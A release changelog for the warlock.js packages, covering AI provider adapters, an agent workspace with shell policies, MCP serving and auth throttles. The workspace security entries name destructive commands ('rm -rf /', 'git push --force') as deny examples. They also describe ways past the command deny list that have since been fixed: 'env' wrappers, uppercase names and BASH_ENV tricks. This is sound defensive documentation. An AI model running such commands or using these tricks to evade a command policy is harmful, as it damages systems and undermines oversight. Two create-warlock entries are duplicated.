    • AddedBuilt-in Claude API list prices (ANTHROPIC_MODEL_PRICING, anthropicPricingFor, withAnthropicCacheWriteRates), from Anthropic's pricing page as of 2026-10-17, used when neither the model nor the SDK registry is priced. Dated snapshot ids resolve to their alias. Claude Haiku 5.5 (priced by prompt length) is left unpriced.
    • Addedcomplete() and the streaming done chunk attach usage.cost when the model is priced.
    • Added529 / overloaded_error responses and mid-stream overload events throw ProviderOverloadedError; every wrapped error carries status, billed and retryable.
    • AddedAn adapter contract test verifies that aborting signal rejects complete() and stream() on the model and cancels the HTTP request.
    • AddedAnthropicModelConfig.maxOutputTokens overrides the inferred model output limit that sizes the default max_tokens.
    • AddedWith streamChunks, stream() yields reasoning for thinking_delta, tool-args for the input_json_delta of client tool_use blocks, and usage after message_start and each message_delta. send() takes the same streamChunks transport option.
    • Addedai.providerTool({ provider: "anthropic", definition }) entries (web_search, web_fetch, code_execution, bash, text_editor, memory, …) are sent verbatim ahead of the function tools; the prompt-cache breakpoint stays on the last function tool. Other providers' tools are skipped with a warning. The reserved providerOptions.anthropic.body keys are unchanged.
    • AddedTyped context management on providerOptions.anthropic: contextManagement.clearToolUses / clearThinking (clear_tool_uses_20250919 / clear_thinking_20251015, beta context-management-2025-06-27) and serverCompaction (compact_20260112, beta compact-2026-01-12, trigger of at least 50,000 input tokens). The adapter builds the edits in the order the API requires and adds the beta headers; combining them with body.context_management fails with InvalidRequestError.
    • AddedthinkingBlockBinding: "error" | "drop_block" sends thinking.block_binding.prefix_mismatch_behavior with the thinking-binding-controls-2026-08-01 beta.
    • AddedPreserved thinking after client-side compaction: on Claude Fable 5.1, Opus 5.5, Sonnet 5.5 and Haiku 5.5 an assistant turn marked compaction: "retained" is replayed without its thinking blocks, which were produced against the replaced history. AnthropicModelConfig.preservedThinking overrides the inference; inferPreservedThinking(name) and ToAnthropicMessagesOptions are exported.
    • AddedAnthropicModel.buildRequest() creates a detached request snapshot for preflight auditing; send(request) sends that snapshot as a completion or stream without rebuilding its body.
    • AddedMessage, tool and provider-block converters and request types are exported from the package root for hosts using their own transport.
    • Changedreasoning: { effort: "none" } now turns thinking off on Claude Sonnet 5 and Claude Haiku 5.5 with thinking: { type: "disabled" } (sent alone, so Haiku 5.5 stays at its default effort, inside the range where disabled is accepted). Previously no thinking field was sent and both models ran adaptive thinking by default.
    • Changedreasoning: { effort: "none" } on Claude Opus 5 now sends adaptive thinking at output_config.effort: "low" instead of omitting thinking (which ran at the default high). Opus 5 is deliberately not sent disabled: with thinking off it can write a tool call as plain text that never runs, and leak thinking tags. Claude Opus 5.5, Sonnet 5.5 and Fable 5 / 5.1 are unchanged.
    • ChangedBREAKING The default max_tokens (when no maxTokens is set) rose from 4096. Streaming requests use the model's documented max output — 128K for the Claude 5 family and Opus 4.6–4.8 / Sonnet 4.6, 64K for Opus / Sonnet / Haiku 4.5 — and non-streaming requests use 16384, capped by the model's max output (the Anthropic SDK requires streaming for larger non-streaming requests unless the client sets a timeout). Unknown ids default to 16384. With thinking on, the default still keeps room for the thinking budget plus 4096 answer tokens, within the model's limit.
    • FixedUsage is marked inputIncludesCache: false (Anthropic's input_tokens excludes cache reads and writes), and 1-hour cache writes are reported in cacheWrite1hTokens from cache_creation.ephemeral_1h_input_tokens — or, when the breakdown is missing, from a request whose every cache marker asked for ttl: "1h". Cost now bills reads and writes once each, at their own rates.
    • FixedCaller pricing that omits cache-write rates gets Anthropic's documented multipliers (5-minute writes 1.25x input, 1-hour writes 2x) instead of billing writes at nothing.
    • FixedUsage includes server-side compaction: the compaction entries of usage.iterations, which the top-level token counts leave out, are added to input, output and the cache counts (completions and streams).
    • Fixedcomplete() always builds a non-streaming request, including when an indexed stream option is supplied.
    • FixedA request that fails to build in complete(), stream() or countTokens() (a reserved providerOptions.anthropic.body key, or a body value structuredClone cannot copy, such as a function) is logged like a send failure and rejects with an AIError; errors that are not already one become an InvalidRequestError carrying the original as cause. Before, the raw error escaped unlogged. buildRequest() itself still throws the raw error.
    • FixedThe debug log line for a streaming request reads "Starting streaming call to messages.create" again; non-streaming requests keep "Starting call to messages.create".
    • FixedThe provider docs and setup-anthropic skill say that send() passes betas only to the "beta.messages" endpoint.
    @warlock.js/ai-workspaceAdded 11Changed 1Fixed 3Security 6
    • Addedlist_dir tool and ws.listDir(path, { depth, ignore }): a bounded, jailed directory listing (breadth-first, types and file sizes, denyPaths and list.ignore left out, symlinks reported but never followed), configured by the new list policy (ignore, maxDepth, maxEntries).
    • Addedmulti_edit tool and ws.multiEdit({ path, edits, expectHash }): several exact-string replacements in one file, applied in order and written once — all of them or none. WorkspaceEditError.editIndex names the failing edit.
    • AddedBackground commands: with shell.background ({ maxJobs?, timeoutMs? }), run_shell({ background: true }) / ws.startShell() start a long-running command owned by the workspace; shell_output / ws.shellOutput(id, { since, waitMs }) read its new output (newest shell.maxOutputBytes kept, with a cursor), and shell_kill / ws.shellKill(id) kill its whole process tree. ws.listShells() lists them; WorkspaceJobError reports an unknown id. Backends implement the new optional start().
    • Addedws.dispose() kills every background command (whole process trees) and makes the workspace refuse new commands; trees still running when the Node process exits are killed too.
    • Addedtodo_write / todo_read tools and ws.writeTodos() / ws.readTodos(): an in-memory todo list per workspace, shared with its readonly() / scope() projections. TodoStore is exported.
    • Addedshell.denyPatterns (string prefix patterns or RegExps) and shell.allowCommand(argv, ctx) (return true, false, or a refusal explanation) check every command's arguments, so a policy can refuse git push --force or rm -rf / while allowing git and rm.
    • Addedshell.interpreter: "sh" — an explicit opt-in to shell syntax. The line runs through /bin/sh -c (cmd.exe /d /v:off /s /c on Windows) after it is parsed and every simple command in it — inside ;, &&, ||, pipes, subshells, $( ), backticks, here-documents and NAME=value prefixes — is checked against deny / allow / denyPatterns / allowCommand. Redirection targets and cd directories must stay in the jail (re-checked with symlinks resolved). Syntax the parser cannot read with confidence is refused. The default stays "none" (argv, no shell).
    • AddedWorkspacePolicyError.reason (WorkspaceShellRefusalReason: "metacharacter", "unbalanced-quotes", "denied-executable", "not-allowed", "denied-pattern", "nested-command", "unsupported-syntax", "path-escape") and executable, so hosts can phrase refusals themselves. In argv mode the message suggests the split, e.g. "&& is not supported in argv mode: run git add -A, then git commit -m …, as separate commands."
    • AddedcheckShellCommand(policy, command) returns the shell policy's verdict (reason, message, every checked argv, paths) without running anything; analyzeArgvCommand() and tokenizeCommand() are exported.
    • AddedBackends may implement an optional stat(); the local and mock backends do. The mock backend's scripted commands accept running: true for background starts.
    • AddedThe workspace skill and docs cover the new tools, shell mode, argument rules, background commands and dispose().
    • ChangedThe docs, the skill and the path resolver's comments explain how the workspace jail differs from @warlock.js/fs's new confined reader (fs.confined) and why the workspace keeps its own resolver: it accepts absolute paths inside the jail, allowPaths roots, denyPaths, links that stay inside and paths that do not exist yet. Behaviour is unchanged.
    • FixedThe package README no longer ends with a stray empty code block.
    • FixedThe workspace tools now publish a JSON Schema of their input, so providers send the model the real parameter names instead of an empty object schema.
    • Fixedrun_tests quotes its pattern for the shell in use: single quotes under interpreter: "sh", so $ and backticks in a test-name filter stay literal.
    • SecurityWrapper commands no longer hide the command they run: env, time, timeout, nice, nohup, command, builtin, exec and find -exec are unwrapped and the inner command is checked too, and a wrapper used with options the policy cannot read is refused. Before, env rm -rf / passed a deny: ["rm"] policy.
    • Securityshell.deny matches executable names case-insensitively, so RM on a case-insensitive filesystem no longer slips past deny: ["rm"].
    • SecurityA model-supplied timeoutMs on run_shell can now only lower shell.timeoutMs, as documented, never raise it.
    • SecurityShell mode removes ENV, BASH_ENV, SHELLOPTS, BASHOPTS, CDPATH, IFS, PS4, GLOBIGNORE and BASH_FUNC_* from the spawned environment, refuses assignments to such variables, refuses & (use background commands), and refuses arithmetic-evaluating constructs ($(( )), array subscripts in builtins) that bash can use to run hidden commands.
    • SecurityThe docs, README and skill now state plainly that shell mode is a policy layer checked before /bin/sh runs the line (defence in depth), not an OS sandbox, and recommend running untrusted agents in a container, microVM or as a separate unprivileged user.
    • SecurityKilling a background command, a timeout and dispose() signal only the process tree the workspace spawned (its own process group on POSIX, taskkill /T on its PID on Windows).
    @warlock.js/ai-toolsAdded 8Changed 3Fixed 1Security 4
    • Addedai.mcp(server, { signal }) binds the client to a run: when the signal aborts the client closes its transport, and later handshakes and tool calls fail with an McpTransportError of type "closed". Every tools/call honors both the client signal and the per-call ctx.signal.
    • Addedai.tools.measure(tools, { model, mode }) — the measureTools helper from @warlock.js/ai — measures the input tokens a tool list costs per call.
    • Addedai.mcp.serve(source, { transport: { type: "http" } }) serves the MCP Streamable HTTP transport on node:http (no extra dependency). It binds 127.0.0.1 on a free port at /mcp by default (host, port, path override them), and start() resolves { url, close }. close() stops accepting connections, waits up to drainTimeoutMs (default 5 s) for in-flight calls, then aborts their ctx.signal and frees the port. The endpoint is stateless: JSON responses, 202 for notifications, 405 for GET / DELETE, 400 for batches or an unsupported MCP-Protocol-Version.
    • AddedHTTP auth: auth: { bearer } accepts one token or a rotation list; auth: { authorize(request) } runs a custom check; with both set, a request must pass both. Failures get 401 before the body is read.
    • AddedTools served over HTTP receive the inbound request on ctx.request (headers, remoteAddress), for per-user tokens, tenant headers or trace ids.
    • AddedGrouped sources: serve({ groups: { name: tools } }, { prefixToolNames: true }) exposes <group>_<tool>; a function builds custom names.
    • AddedOptional MCP resources (resources: [{ uri, name, read }]) and prompts (prompts: [{ name, arguments, get }]), with their capabilities advertised only when configured. The server also answers ping.
    • AddedMcpServeError (type: "collision", "config", "listen"), SUPPORTED_PROTOCOL_VERSIONS, and the McpHttpServeTransport, McpHttpAuth, McpHttpRequestInfo, McpServeHandle, McpHttpServeHandle, McpServeResource, McpServePrompt, McpServeCallContext, McpToolSource, McpGroupedToolSource types. createServeHandler(...).handle(request, context?) takes an optional call context.
    • Changedinitialize negotiates the protocol version: a client's requested version is echoed when supported (2025-11-25, 2025-06-18, 2025-03-26), otherwise the newest is offered. It previously always answered 2025-06-18.
    • ChangedMcpServer.start() resolves a handle ({ url?, close }) instead of void. The http transport's port is optional.
    • Changed@modelcontextprotocol/sdk is no longer listed as an optional peer dependency. The MCP client never imported it: it speaks MCP's JSON-RPC itself over a child process (stdio) and fetch (http). The SDK is now a development dependency, used only by the interoperability test against the official client. The MCP docs, README and connect-mcp-server skill now say so, and name ajv as the client's only optional peer.
    • FixedThe stdio transport of ai.mcp.serve() no longer crashes the process when a line is JSON but not a request object (null, a number, an array): it answers a JSON-RPC "Invalid Request" error (-32600, id: null). A failure while answering a line is answered as an internal error and can no longer become an unhandled rejection.
    • SecurityThe HTTP transport binds loopback by default and refuses to start on any non-loopback host without auth (McpServeError, type: "config").
    • SecurityBearer tokens are compared with crypto.timingSafeEqual over SHA-256 digests, so neither content nor length leaks through timing; every configured token is checked. Empty tokens are refused, and an authorize hook that throws denies the request.
    • SecurityOrigin is validated on every request, per the MCP transport's DNS-rebinding guidance: loopback origins and allowedOrigins pass, others (including null) get 403. While bound to loopback, a Host header other than localhost, 127.0.0.1, [::1] or allowedHosts also gets 403.
    • SecurityRequest bodies over maxBodyBytes (default 1 MiB) get 413 and the connection is closed.
    @warlock.js/ai-bedrockAdded 10Fixed 5
    • AddedWith a cacheControl breakpoint, a cachePoint is also placed after the system prompt and, for Claude, after the tool definitions — the prefix segments Bedrock caches in tools → system → messages order. ttl: "1h" (per call, or the new promptCacheTtl model option) is sent only to models that accept it.
    • AddedBuilt-in Claude prices for global. and us. inference profiles (BEDROCK_GLOBAL_PRICING, BEDROCK_US_PRICING, bedrockPricingFor), from AWS's Bedrock price list as of 2026-10-17; caller pricing for Claude models gets the 1.25x / 2x cache-write rates filled (withClaudeCacheWriteRates). complete() and the streaming done chunk attach usage.cost when priced.
    • AddedClaude 5 families and Nova 2 Lite are recognised as prompt-caching capable.
    • AddedServiceUnavailableException throws ProviderOverloadedError; wrapped errors carry status, billed and retryable.
    • Addednew BedrockSDK({ apiKey, region }) authenticates with an Amazon Bedrock API key: requests carry Authorization: Bearer <apiKey> instead of a SigV4 signature and the AWS credential chain is not consulted (the adapter sets the AWS SDK's token and authSchemePreference: ["httpBearerAuth"]). An empty key, or a key combined with credentials or token, throws InvalidRequestError.
    • AddedAn adapter contract test verifies that aborting signal rejects complete() and stream() and cancels the HTTP/2 request.
    • AddedWith streamChunks, stream() yields reasoning for reasoningContent.text deltas and tool-args for client toolUse.input deltas.
    • Addedai.providerTool({ provider: "bedrock", definition }) appends a Converse Tool member such as { systemTool: { name: "nova_grounding" } } verbatim; other providers' tools are skipped with a warning.
    • AddedproviderOptions.bedrock.body forwards native per-call request options for completions and streams while protecting the model, conversation and tool definitions.
    • AddedModels expose native countTokens() preflight using the generation request's Converse conversation, tools and additional model fields.
    • FixedUsage is marked inputIncludesCache: false (Converse inputTokens excludes cache reads and writes) and reports 1-hour cache writes from cacheDetails in cacheWrite1hTokens, so cost bills each cache token once at its own rate.
    • FixedA toolUse block with type: "server_tool_use" (a system tool run by Bedrock) is no longer returned as a tool call for the agent to dispatch.
    • FixedConverse conversion compiles with strict indexed-access checks while preserving empty and system-only histories.
    • FixedProvider body options merge plain-object fields one level deep, preserving neutral reasoning, generation and structured-output settings unless the caller overrides their keys.
    • FixedConverse conversion combines adjacent same-role turns in content order, preserving parallel tool results and automatic compaction summaries beside assistant tool calls.
    create-warlockAdded 5Changed 2Fixed 8
    • AddedThe starter's src/config/tests.ts documents the test fakes that are on by default and how to opt out (fakes: false, or per fake such as { cache: false }).
    • AddedThe generated AGENTS.md and the code-standards / security-baseline skills tell coding agents to run npx warlock check, which reports unvalidated request.all() input, unguarded mutating routes, unsafe redirects, sensitive values in logs and unbounded regexes on input with a WL code, in both --lint=eslint and --lint=oxc projects.
    • AddedThe scaffold's sign-in and password-recovery routes, contact form and locale switch are marked public: true; /auth/login uses loginThrottleMiddleware(), /auth/forgot-password tokenIssueThrottleMiddleware(), /auth/reset-password tokenConsumeThrottleMiddleware(), and /auth/refresh-token a 30-per-minute route limit. The user list validates its query (page, limit, id, name, email) and passes request.validated() to the repository.
    • AddedOpt-in --lint=oxc / --lint oxc flag and custom-wizard prompt install pinned Oxlint 1.88.0/Oxfmt 0.73.0, matching lint/style configs and the Oxlint development health checker. ESLint/Prettier remain the default. Both choices include non-mutating lint:check and format:check scripts. Oxc projects configure and recommend the official VS Code extension for format-on-save and lint fixes; default projects retain their Prettier/ESLint editor settings. Help and headless diagnostics include --lint.
    • AddedCustom-mode optional features now use paged sections with selected counts and a select-all action per section. The decisions overview previews the selected feature/AI count and keys.
    • ChangedBREAKING: Node.js 22.15 or newer is required, both in engines and in the scaffolder's own startup check (which used to accept Node 20), matching what the warlock CLI needs. In an existing app, warlock upgrade --from 5.30 --to 5.31.0 raises engines.node, .nvmrc and .node-version (codemod node-22-15).
    • Changed--lint=oxc projects sort imports on format: the generated .oxfmtrc.json sets "sortImports": { "newlinesBetween": false }, keeping imports in one block as prettier-plugin-organize-imports does in the ESLint toolchain. Oxfmt does not remove unused imports; Oxlint reports them.
    • FixedScaffolder source formatting and tests use the workspace Oxfmt configuration, including standalone installs; template formatting continues to use each generated app toolchain.
    • FixedGroup feature selection preserves explicit unticks when selecting the remaining group, and returns the category cursor to the group last edited.
    • FixedThe project-ready summary wraps feature lists and next steps to the terminal width, measures visible emoji width, and uses a plain list on narrow terminals. Piped output uses an 80-column fallback. Wrapped values align under their labels, and the summary retains its label, command and link styling.
    • FixedOn terminals narrower than 50 columns the project-ready heading keeps its bold green styling, as in the boxed layout.
    • FixedThe ESLint-toolchain lint, format and tsc scripts call the local eslint, prettier and tsc binaries instead of npx, matching lint:check/format:check and the Oxc scripts. format now quotes its glob, so Prettier formats nested files under src/ rather than relying on the shell's expansion.
    • FixedThe starter's AGENTS.md ends with a ## This app (generated) section whose warlock:generated markers warlock dev (and warlock agents-md --write) fills with the app's modules, routes, models, installed skills and verify commands.
    • FixedOpt-in --lint=oxc / --lint oxc flag and custom-wizard prompt install pinned Oxlint 1.88.0/Oxfmt 0.73.0, matching lint/style configs and the Oxlint development health checker. ESLint/Prettier remain the default. Both choices include non-mutating lint:check and format:check scripts. Oxc projects configure and recommend the official VS Code extension for format-on-save and lint fixes; default projects retain their Prettier/ESLint editor settings. Help and headless diagnostics include --lint.
    • FixedCustom-mode optional features now use paged sections with selected counts and a select-all action per section. The decisions overview previews the selected feature/AI count and keys.
    @warlock.js/ai-openaiAdded 8Changed 1Fixed 2
    • AddedBuilt-in OpenAI list prices (OPENAI_MODEL_PRICING, openAIPricingFor) for flat-priced models, from OpenAI's pricing page as of 2026-10-17, applied only on the "openai" provider label and exact ids. Models priced by prompt length stay unpriced.
    • AddedUsage is marked inputIncludesCache: true, reports Chat Completions prompt_tokens_details.cache_write_tokens, and complete() / the streaming done chunk attach usage.cost when priced.
    • Added503 / server_is_overloaded throws ProviderOverloadedError; wrapped errors carry status, billed and retryable.
    • AddedAn adapter contract test verifies that aborting signal rejects complete() and stream() on the Chat Completions and Responses models and cancels the HTTP request.
    • AddedWith streamChunks, the Responses model yields reasoning for reasoning-summary / reasoning-text deltas and tool-args for response.function_call_arguments.delta; the Chat model yields tool-args for tool-call argument fragments and reasoning for a compatible vendor's reasoning_content / reasoning delta field (DeepSeek, Groq).
    • Addedai.providerTool({ provider: "openai", definition }) adds Responses built-in tools (web_search, file_search, code_interpreter, …) verbatim. A reasoning item that led into a hosted tool call is left out of the stateless replay, and built-in calls the caller would have to execute (shell_call, apply_patch_call, computer_call, custom_tool_call, …) throw InvalidRequestError instead of being dropped. Chat Completions sends a provider tool only when its provider equals the model's provider label (e.g. "groq").
    • AddedproviderOptions.openai.body forwards native per-call request options for completions and streams while protecting the model, conversation and tool definitions.
    • AddedResponses models expose native input-token preflight through countTokens(); Chat Completions keeps offline estimates separate.
    • ChangedpromptCacheKey is sent as prompt_cache_key for the "xai" and "mistral" provider labels as well, since both endpoints document the field. prompt_cache_retention and explicit cache breakpoints stay OpenAI-only; other labels receive no cache fields.
    • FixedProvider body objects replace the adapter-built object when their string type discriminator changes, so format and tool-choice overrides do not retain incompatible fields from the old variant. Same-type and undiscriminated objects keep the one-level merge.
    • FixedProvider body options merge plain-object fields one level deep, preserving neutral reasoning, generation and structured-output settings unless the caller overrides their keys.
    @warlock.js/sealAdded 2Changed 1Fixed 8
    • AddedA failed rule result may carry errors: [{ error, path }] to report several errors, each at its own path, under the rule's type.
    • AddedSuccessful custom rules may return a data property to replace the current validated value, including explicit undefined; omitting the property preserves the value.
    • ChangedObject factories return their already typed class directly, avoiding a duplicate Standard Schema intersection and reducing compiler work for composed schemas. CI now checks the Seal inference benchmark against its updated baseline.
    • Fixedv.union(...) tries every member whose type matches before failing, so a union of several object schemas accepts a value that matches a later member; firstErrorOnly limits the errors reported, not the members tried. A failing union reports its closest member: fewest mismatched literals, then fewest errors, then the deepest error path, then declaration order.
    • FixedA failing union no longer stores its last member error on the shared rule, so a later validation with no type-matching member reports the default message instead of a stale one.
    • FixedThe custom-error locale example is strict JSON, with its filename outside the code fence.
    • FixedStandalone string replacement mutators accept an omitted context or options and preserve the stringified input instead of throwing.
    • FixedObject .merge() retains refinements from both schemas, in their original order; cloning, extending and selecting fields preserve the original schema's refinements.
    • FixedUnion and record Standard Schema types now distinguish child input from validated output; Infer.Output reads the Standard Schema output parameter. Defaults and catches remain guaranteed in output.
    • FixedObject, array, tuple and lazy Standard Schema output declarations preserve child defaults and catches independently of their input types.
    • Fixedv.tuple([...]) infers one type per position: v.tuple([v.string(), v.int()]) is typed [string, number] for input and output instead of (string | number)[], so a value with swapped positions no longer type-checks. A BaseValidator[] variable is still accepted.
    @warlock.js/ai-googleAdded 8Fixed 2
    • AddedUsage is marked inputIncludesCache: true (promptTokenCount includes cached content), and complete() / the streaming done chunk attach usage.cost when priced.
    • AddedA built-in list price for gemini-3.5-flash-lite (GOOGLE_MODEL_PRICING, googlePricingFor), from the Gemini API pricing page as of 2026-10-17. Models priced by prompt length, by input modality, or with a scheduled price change stay unpriced.
    • Added503 UNAVAILABLE throws ProviderOverloadedError. 400 and 500 failures are marked billed: false, as Google's billing docs state.
    • AddedAn adapter contract test verifies that aborting signal rejects complete() and stream() on the model and cancels the HTTP request.
    • AddedWith streamChunks, stream() yields reasoning for thought parts (sent when thinkingConfig.includeThoughts is on) and usage for every chunk carrying usageMetadata.
    • Addedai.providerTool({ provider: "google", definition }) entries ({ googleSearch: {} }, { codeExecution: {} }, { urlContext: {} }) are sent verbatim as their own Tool after the function declarations; other providers' tools are skipped with a warning.
    • AddedproviderOptions.google.body forwards native per-call request options for completions and streams while protecting the model, conversation and tool definitions.
    • AddedModels expose native countTokens() preflight. Vertex counts system instructions and tools; unsupported Developer API system/tool and cached-content counts fail explicitly.
    • FixedProvider body options merge plain-object fields one level deep, preserving neutral reasoning, generation and structured-output settings unless the caller overrides their keys.
    • FixedConsecutive messages that map to the same Gemini role are sent as one content with their parts in order. The results of parallel tool calls now travel as a single user turn of functionResponse parts in call order instead of one turn per result, and an agent compaction summary next to a same-role turn merges into it, so requests keep alternating user and model turns. Each functionCall keeps its own thoughtSignature, and countTokens() counts the same contents.
    @warlock.js/loggerAdded 5Fixed 2
    • AddedFileLog fileName option: a pattern ("app-{YYYY}-{MM}-{DD}", tokens {YYYY} {MM} {DD} {HH} {mm} {name} in local time) or a (date) => string function, evaluated at every write; it replaces the chunk's default name. rotateFileName takes the same forms and is rendered at each rotation (a getter passed in the config was read once, at construction, so every archive kept the boot date). Exported FileNameOption, FileLogRetention, DAILY_FILE_NAME, HOURLY_FILE_NAME and ROTATE_FILE_NAME.
    • AddedFileLog retention: { maxFiles?, maxAgeDays?, match? }: removes old log files on boot and whenever the channel starts a new file (a size rotation or a dated name rolling over), plus channel.prune() on demand. It only considers files in the log directory (each group directory with groupBy) whose names match the channel's file name pattern, keeps the file being written, and reports failures to onChannelError instead of throwing. A function fileName needs retention.match. Invalid maxFiles/maxAgeDays throw a TypeError at construction.
    • AddedLogChannel.reportError(error, entry) and setErrorReporter(reporter) (type ChannelErrorReporter): a channel reports failures outside log() to the onChannelError handler of the logger it was added to (addChannel, setChannels, configure({ channels })), or one stderr line without one.
    • AddedescapeLogValue(value, { maxLength? }) makes client-controlled text safe inside a log line: CR/LF/tab become visible \r/\n/\t, other control characters (NUL, DEL, C1, U+2028/U+2029) become \uXXXX, ANSI escape sequences are removed, and maxLength cuts with a …[truncated] marker. A user agent or form field can no longer forge entries in console or file logs.
    • AddedSkills demonstrate email masking inside text, channel-error observation and bounded asynchronous log drains.
    • FixedWith groupBy, size rotation renames the group file that grew too large instead of the ungrouped top-level file.
    • FixedA file name that throws while a buffer is written (a fileName function, or an overridden fileName getter) is reported as a failed write instead of leaving the channel stuck in its writing state; later writes go through.
    @warlock.js/ai-ollamaAdded 3Fixed 2
    • Addedcomplete() and the streaming done chunk attach usage.cost when the model is given pricing.
    • AddedWith streamChunks, stream() yields reasoning for each message.thinking piece. Provider-defined tools for other providers are left out of the request with a warning.
    • AddedproviderOptions.ollama.body forwards native per-call request options for completions and streams while protecting the model, conversation and tool definitions.
    • Fixedcomplete() now honours signal: the ollama client takes no per-request signal, so OllamaSDK wraps the client's fetch (the caller's own fetch option included) to apply each call's signal. Aborting cancels the HTTP request before or after the response starts, on complete() and stream(), and a call with an already-aborted signal rejects without sending a request. An adapter contract test covers both calls.
    • FixedProvider body options merge plain-object fields one level deep, preserving neutral reasoning, generation and structured-output settings unless the caller overrides their keys.
    @warlock.js/ai-mistralAdded 2Changed 1Fixed 1
    • AddedAn adapter contract test verifies that aborting signal rejects complete() and stream() on the model and cancels the HTTP request.
    • AddedMistralModelConfig.promptCacheKey is sent as prompt_cache_key.
    • ChangedChat calls inherit providerOptions.openai.body from the OpenAI adapter, including its protected fields and one-level plain-object merge. Use only this provider's accepted fields when sharing fallback options. Native countTokens remains absent; sdk.count(text) is an offline estimate.
    • FixedMISTRAL_DEFAULT_PRICING matches Mistral's current price list (2026-10-17), with cache-read rates and API ids beside the -latest aliases. Retired Pixtral and Magistral entries are removed.
    @warlock.js/ai-xaiAdded 2Changed 1Fixed 1
    • AddedAn adapter contract test verifies that aborting signal rejects complete() and stream() on the model and cancels the HTTP request.
    • AddedXaiModelConfig.promptCacheKey is sent as prompt_cache_key (xAI routes it to x-grok-conv-id), so requests sharing a prefix reuse the same cache.
    • ChangedChat calls inherit providerOptions.openai.body from the OpenAI adapter, including its protected fields and one-level plain-object merge. Use only this provider's accepted fields when sharing fallback options. Native countTokens remains absent; sdk.count(text) is an offline estimate.
    • FixedThe provider-body and token-estimate guidance renders as prose instead of being swallowed by a stray code fence.
    @warlock.js/ai-deepseekAdded 1Changed 1Fixed 1
    • AddedAn adapter contract test verifies that aborting signal rejects complete() and stream() on the model and cancels the HTTP request.
    • ChangedChat calls inherit providerOptions.openai.body from the OpenAI adapter, including its protected fields and one-level plain-object merge. Use only this provider's accepted fields when sharing fallback options. Native countTokens remains absent; sdk.count(text) is an offline estimate.
    • FixedDEEPSEEK_DEFAULT_PRICING (now exported) matches DeepSeek's price list (2026-10-17) for deepseek-flash, deepseek-v4-flash and deepseek-v4-pro. DeepSeek bills by time of day; the defaults are the peak rates, an upper bound, and DEEPSEEK_OFF_PEAK_PRICING holds the off-peak rates.
    @warlock.js/ai-groqAdded 1Changed 1Fixed 1
    • AddedAn adapter contract test verifies that aborting signal rejects complete() and stream() on the model and cancels the HTTP request.
    • ChangedChat calls inherit providerOptions.openai.body from the OpenAI adapter, including its protected fields and one-level plain-object merge. Use only this provider's accepted fields when sharing fallback options. Native countTokens remains absent; sdk.count(text) is an offline estimate.
    • FixedGROQ_DEFAULT_PRICING (now exported) matches Groq's published prices (2026-10-17): openai/gpt-oss-120b output is 0.60, the gpt-oss models get their 50% cache-read rate, and qwen/qwen3.8-27b is added.
    @warlock.js/ai-panopticAdded 2Fixed 1
    • AddedTool spans carry the provider's tool-call id as the tool.callId attribute.
    • AddedAgent runs with status: "incomplete" (their final answer was cut off) are exported as errors: OTel ERROR status, Langfuse level ERROR, the console exporter's error stream (marked INCOMPLETE), the dashboard's error filter, and the failed count of trace-store aggregates. ?status=incomplete is accepted by the dashboard API.
    • FixedTrace cost totals (exporters, the dashboard and trace filters) include the new cache-write cost channel.
    @warlock.js/authAdded 2Fixed 1
    • AddedauthMiddleware() marks itself as an auth guard (markAuthGuard() from @warlock.js/core), so warlock dev's unguarded-route warning recognises routes behind it; the { optional: true } form is marked as not a guard. Docs and skills list what throttles auth endpoints by default (core's global limit, plus the throttles new apps attach to sign-in and password recovery) and how to add them to an existing app.
    • AddedReal Redis integration coverage for login failure counters and lockouts, including concurrent requests, preserved deadlines and counters recreated after a seeded key expires. Local runs opt in with WARLOCK_REDIS_INTEGRATION=1; CI requires a live Redis service. Tests use UUID prefixes and clean only their own keys.
    • FixedLogin, token and OTP throttles pass their counting-window TTL into each atomic increment. A counter that expires between the create-only seed and increment is recreated with an expiry rather than becoming permanent. Token middleware regression assertions cover the issue counters' one-hour window and the consume counter's fifteen-minute window.
    @warlock.js/fsAdded 2Changed 1
    • Addedfs.confined(root, options) / createConfinedReader(root, options): a reader confined to one folder, for folders you do not control (a user-chosen import folder, an extracted upload). readText, readBuffer, readJson (optional Standard Schema), stat, exists, list and walk (async, depth-first) take root-relative paths. The root is canonicalised once and refused when it is itself a symlink (unless allowSymlinkedRoot); absolute paths and .. that climb above the root throw FsPathEscapeError; every path component is checked with lstat and a symlink or Windows junction anywhere throws FsLinkRefusedError; files are opened with O_NOFOLLOW where available and the opened handle's device/inode must match the checked entry, so a file or parent folder swapped between check and open is refused. maxFileBytes (default 16 MiB) is enforced while reading, maxEntries (default 100 000) and maxDepth (default 64) bound list/walk, with FsLimitExceededError. followLinks: true follows only links whose target stays inside the root.
    • AddedFsPathEscapeError, FsLinkRefusedError, FsLimitExceededError (each with a type discriminator, path and the reason or limit), the ConfinedReader / ConfinedEntry / ConfinedStats types, and isPathInside(child, root).
    • ChangedClarify the concurrency contract of moveDirectoryNoReplaceAsync / fs.dirs.moveNoReplace at the call-site documentation: the exclusive destination claim protects cooperating writers, while an empty placeholder swapped before its first identity read or after its last check can still be replaced. expectedSource and syncParents do not eliminate those windows. Deterministic interleaving tests preserve these documented limits.
    @warlock.js/queueAdded 2Fixed 1
    • AddedregisteredJobs() and queueOf() are exported, so tools can list the jobs an app defined with defineJob() and the queue each runs on; warlock inspect reads them for its jobs section.
    • AddedsetDispatchInterceptor({ dispatch, find? }) / getDispatchInterceptor(): while an interceptor is set, every job's dispatch() and find() go to it instead of BullMQ, so nothing connects to Redis. The slot is process-wide. queueFake in @warlock.js/core/tests is built on it.
    • FixedLocal Redis integration tests skip with a clear service message when Redis is unavailable; CI and explicitly requested integration runs fail instead. Unit cases remain runnable without Redis.
    @warlock.js/cacheAdded 1Fixed 1
    • AddedReal Redis integration coverage for atomic counters and their expiry behavior, including concurrent requests, preserved deadlines and counters recreated after a seeded key expires. Local runs opt in with WARLOCK_REDIS_INTEGRATION=1; CI requires a live Redis service. Tests use UUID prefixes and clean only their own keys.
    • Fixedcache.increment(key, amount, { ttl }) supplies a TTL when an atomic increment creates or recreates a counter, through direct, tagged and scoped calls. Existing expiry deadlines are preserved; an explicit TTL also repairs a live permanent counter across drivers. Redis applies the count and TTL together, so an expired seed cannot leave a permanent counter even when the driver has no default TTL.
    @warlock.js/accessFixed 1
    • FixedAccess skills no longer end in stray code fences, and the cache configuration recipe is an object expression rather than a labelled statement.
    @warlock.js/cascadeFixed 1
    • FixedThe model-events skill uses Model.globalEvents().on() for global listeners; the abstract base model's per-model on() shortcut requires a concrete subclass.
    @warlock.js/devtoolsChanged 1
